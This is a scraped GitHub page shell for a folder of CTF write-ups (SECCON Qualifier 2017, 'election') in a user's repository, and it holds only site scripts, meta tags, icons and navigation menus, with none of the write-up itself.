<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>write-ups/Seccon Qual 2017/election at master · laxa/write-ups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="99EC:F4A8:577B487:59E4CD0:64122735" data-pjax-transient="true"/><meta name="html-safe-nonce" content="36468bab5813c7305f824cb39d9aaab035a2d42177e7cb7692f14b6b1fd55bcf" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5OUVDOkY0QTg6NTc3QjQ4Nzo1OUU0Q0QwOjY0MTIyNzM1IiwidmlzaXRvcl9pZCI6Ijc1OTE0NDMyNzY3NjQ0MjM5ODkiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="21517853d2a3781d609bb0628c062e734b68c7cff6cf595ebaeffde9b583ed19" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:92195266" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to laxa/write-ups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/caf42652fafc36128b38d35239787838363ce9c20f6eb704b461cb2da139b87b/laxa/write-ups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="write-ups/Seccon Qual 2017/election at master · laxa/write-ups" /><meta name="twitter:description" content="Contribute to laxa/write-ups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/caf42652fafc36128b38d35239787838363ce9c20f6eb704b461cb2da139b87b/laxa/write-ups" /><meta property="og:image:alt" content="Contribute to laxa/write-ups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="write-ups/Seccon Qual 2017/election at master · laxa/write-ups" /><meta property="og:url" content="https://github.com/laxa/write-ups" /><meta property="og:description" content="Contribute to laxa/write-ups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/laxa/write-ups git https://github.com/laxa/write-ups.git">
<meta name="octolytics-dimension-user_id" content="450587" /><meta name="octolytics-dimension-user_login" content="laxa" /><meta name="octolytics-dimension-repository_id" content="92195266" /><meta name="octolytics-dimension-repository_nwo" content="laxa/write-ups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="92195266" /><meta name="octolytics-dimension-repository_network_root_nwo" content="laxa/write-ups" />
<link rel="canonical" href="https://github.com/laxa/write-ups/tree/master/Seccon%20Qual%202017/election" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
